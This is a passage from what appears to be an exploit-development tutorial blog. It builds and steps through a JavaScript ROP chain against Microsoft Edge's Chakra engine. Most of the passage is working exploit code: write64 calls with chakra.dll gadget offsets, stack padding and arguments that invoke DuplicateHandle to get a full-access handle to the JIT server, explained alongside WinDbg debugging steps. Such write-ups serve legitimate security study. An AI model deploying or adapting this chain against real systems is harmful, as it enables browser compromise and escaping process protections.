<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>Before stepping through our ROP chain, notice the first thing we do is read the JIT server handle:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>
</code></pre></div></div>

<p>After reading in and storing this value, we can begin our ROP chain. Let’s now step through the chain together in WinDbg. As we can see from our <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> ROP chain, we are overwriting RIP (which we previously did with <code class="language-plaintext highlighter-rouge">0x4141414141414141</code> in our control-flow hijack proof-of-concept via return address overwrite) with a ROP gadget of <code class="language-plaintext highlighter-rouge">pop rdx ; ret</code>, which is located at <code class="language-plaintext highlighter-rouge">chakra_base + 0x1d2c9</code>. Let’s set a breakpoint here, and detonate our exploit. Again, as a point of contention - the <code class="language-plaintext highlighter-rouge">__fastcall</code> calling convention is in play - meaning arguments go in RCX, RDX, R8, R9, RSP + <code class="language-plaintext highlighter-rouge">0x20</code>, etc.</p>

<p><img src="/images/3typeconfusion72.png" alt="" /></p>

<p>After hitting the breakpoint, we can inspect RSP to confirm our ROP chain has been written to the stack.</p>

<p><img src="/images/3typeconfusion73.png" alt="" /></p>

<p>Our first gadget, as we know, is a <code class="language-plaintext highlighter-rouge">pop rdx ; ret</code> gadget. After execution of this gadget, we have stored a pseudo-handle with <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> into RDX.</p>

<p><img src="/images/3typeconfusion74.png" alt="" /></p>

<p>This brings our function call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DuplicateHandle</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Our next gadget is <code class="language-plaintext highlighter-rouge">mov r8, rdx ; add rsp, 0x48 ; ret</code>. This will copy the pseudo-handle currently in RDX into R8 also.</p>

<p><img src="/images/3typeconfusion75.png" alt="" /></p>

<p>We should also note that this ROP gadget increments the stack by <code class="language-plaintext highlighter-rouge">0x48</code> bytes. This is why in the ROP sequence we have <code class="language-plaintext highlighter-rouge">0x4141414141414141</code> padding “opcodes”. This padding is here to ensure that when the <code class="language-plaintext highlighter-rouge">ret</code> happens in our ROP gadget, execution returns to the next ROP gadget we want to execute, and not <code class="language-plaintext highlighter-rouge">0x48</code> bytes down the stack to a location we don’t intend execution to go to:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>This brings our <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> call to the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DuplicateHandle</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next ROP gadget sequence contains an interesting item. The next item on our agenda will be to provide <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> with an “output buffer” to write the new duplicated-handle (when the call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> occurs). We achieve this by providing a memory address, which is writable, in R9. The address we will use is an empty address within the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code>. We achieve this with the following ROP gadget:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
</code></pre></div></div>

<p>As we can see, we load the address we want to place in R9 within RCX. The <code class="language-plaintext highlighter-rouge">mov r9, rcx</code> instruction will load our intended “output buffer” within R9, setting up our call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> properly. However, there are some residual instructions we need to deal with - most notably the <code class="language-plaintext highlighter-rouge">cmp r8d, [rax]</code> instruction. As we can see, this instruction will dereference RAX (e.g. extract the contents that the value in RAX points to) and compare it to <code class="language-plaintext highlighter-rouge">r8d</code>. We don’t necessarily care about the <code class="language-plaintext highlighter-rouge">cmp</code> instruction so much as we do about the fact that RAX is dereferenced. This means in order for this ROP gadget to work properly, we need to load a <em>valid</em> pointer in RAX. In this exploit, we just choose a random address within the <code class="language-plaintext highlighter-rouge">chakra.dll</code> address space. Do not over think as to “why did Connor choose this specific address”. This could literally be <em>any</em> address!</p>

<p><img src="/images/3typeconfusion76.png" alt="" /></p>

<p><img src="/images/3typeconfusion77.png" alt="" /></p>

<p>As we can see, RAX now has a valid pointer in it. Moving our, our next ROP gadget is a <code class="language-plaintext highlighter-rouge">pop rcx ; ret</code> gadget. As previously mentioned, we load the <em>actual</em> value we want to pass into <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> via the R9 register into RCX. A future ROP gadget will copy RCX into the R9 register.</p>

<p><img src="/images/3typeconfusion78.png" alt="" /></p>

<p>Our <code class="language-plaintext highlighter-rouge">.data</code> address of <code class="language-plaintext highlighter-rouge">chakra.dll</code> is loaded into RCX. This memory address is where our <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to the JIT server will be located after our call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>.</p>

<p>Now that we have prepared RAX with a valid pointer and prepared RCX with the address we want <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to write our <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to, we hit the <code class="language-plaintext highlighter-rouge">mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</code> ROP gadget.</p>

<p><img src="/images/3typeconfusion79.png" alt="" /></p>

<p>We have successfully copied our output “buffer”, which will hold our full-permissions handle to the JIT server after the <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> call into R9. Next up, we can see the <code class="language-plaintext highlighter-rouge">cmp r8d, dword ptr [rax]</code> instruction. WinDbg now shows that the dereferenced contents of RAX contains <em>some</em> valid contents - meaning RAX was successfully prepared with a pointer to “bypass” this <code class="language-plaintext highlighter-rouge">cmp</code> check. Essentially, we ensure we don’t incur an access violation as a result of an invalid address being dereferenced by RAX.</p>

<p><img src="/images/3typeconfusion80.png" alt="" /></p>

<p>The next item on the agenda is the <code class="language-plaintext highlighter-rouge">je</code> instruction - which essentially performs the jump to the specified address above (<code class="language-plaintext highlighter-rouge">chakra!Js::InternalStringComparer::Equals+0x28</code>) if the result of subtracting EAX, a 32-bit register (referenced via <code class="language-plaintext highlighter-rouge">dword ptr [rax]</code>, meaning essentially EAX) from R8D (a 32-bit register) is 0. As we know, we already prepared R8 with a value of <code class="language-plaintext highlighter-rouge">0xffffffffffffffff</code> - meaning the jump won’t take place, as <code class="language-plaintext highlighter-rouge">0xffffffffffffffff</code> - <code class="language-plaintext highlighter-rouge">0x7fff3d82e010</code> does <em>not</em> equal zero. After this, an <code class="language-plaintext highlighter-rouge">add rsp, 0x28</code> instruction occurs - and, as we saw in our ROP gadget snippet at the beginning of this section of the blog, we pad the stack with <code class="language-plaintext highlighter-rouge">0x28</code> bytes to ensure execution returns into the next ROP gadget, and not into something we don’t intend it to (e.g. <code class="language-plaintext highlighter-rouge">0x28</code> bytes “down” the stack without any padding).</p>

<p>Our call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> is now at the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DuplicateHandle</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="o">&amp;</span><span class="n">fulljitHandle</span><span class="p">,</span>		<span class="c1">// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Since RDX, R8, and R9 are taken care of - we can finally fill in RCX with the handle to the JIT server that is currently within the <code class="language-plaintext highlighter-rouge">s_jitManager</code>. This is an “easy” ROP sequence - as the handle is stored in a global variable <code class="language-plaintext highlighter-rouge">s_jitManager + 0x8</code> and we can just place it on the stack and pop it into RCX with a <code class="language-plaintext highlighter-rouge">pop rcx ; ret</code> gadget. We have already used our arbitrary read to leak the raw handle value (in this case it is <code class="language-plaintext highlighter-rouge">0xa64</code>, but is subject to change on a per-process basis).</p>

<p><img src="/images/3typeconfusion81.png" alt="" /></p>

<p>You may notice above the value of the stack changed. This is simply because I restarted Edge, and as we know - the stack changes on a per-process basis. This is not a big deal at all - I just wanted to make note to the reader.</p>

<p>After the <code class="language-plaintext highlighter-rouge">pop rcx</code> instruction - the <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> handle to the JIT server is stored in RCX.</p>

<p><img src="/images/3typeconfusion82.png" alt="" /></p>

<p>Our call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> is now at the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DuplicateHandle</span><span class="p">(</span>
	<span class="n">jitHandle</span><span class="p">,</span>		<span class="c1">// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="o">&amp;</span><span class="n">fulljitHandle</span><span class="p">,</span>		<span class="c1">// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Per the <code class="language-plaintext highlighter-rouge">__fastcall</code> calling convention, every argument after the first four are placed onto the stack. Because we have an arbitrary write primitive, we can just directly write our next 3 arguments for <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to the stack - we don’t need any ROP gadgets to <code class="language-plaintext highlighter-rouge">pop</code> any further arguments. With this being said, we will go ahead and continue to use our ROP chain to actually place <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> into the RAX register. We then will perform a <code class="language-plaintext highlighter-rouge">jmp rax</code> instruction to kick our function call off. So, for now, let’s focus on getting the address of <code class="language-plaintext highlighter-rouge">kernelbase!DuplicateHandle</code> into RAX. This begins with a <code class="language-plaintext highlighter-rouge">pop rax</code> instruction. As we can see below, RAX, after the <code class="language-plaintext highlighter-rouge">pop rax</code>, contains <code class="language-plaintext highlighter-rouge">kernelbase!DuplicateHandle</code>.</p>

<p><img src="/images/3typeconfusion83.png" alt="" /></p>

<p>After RAX is filled with <code class="language-plaintext highlighter-rouge">kernelbase!DuplicateHandle</code>, the <code class="language-plaintext highlighter-rouge">jmp rax</code> instruction is queued for execution.</p>

<p><img src="/images/3typeconfusion84.png" alt="" /></p>

<p><img src="/images/3typeconfusion85.png" alt="" /></p>

<p>Let’s quickly recall our ROP chain snippet.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
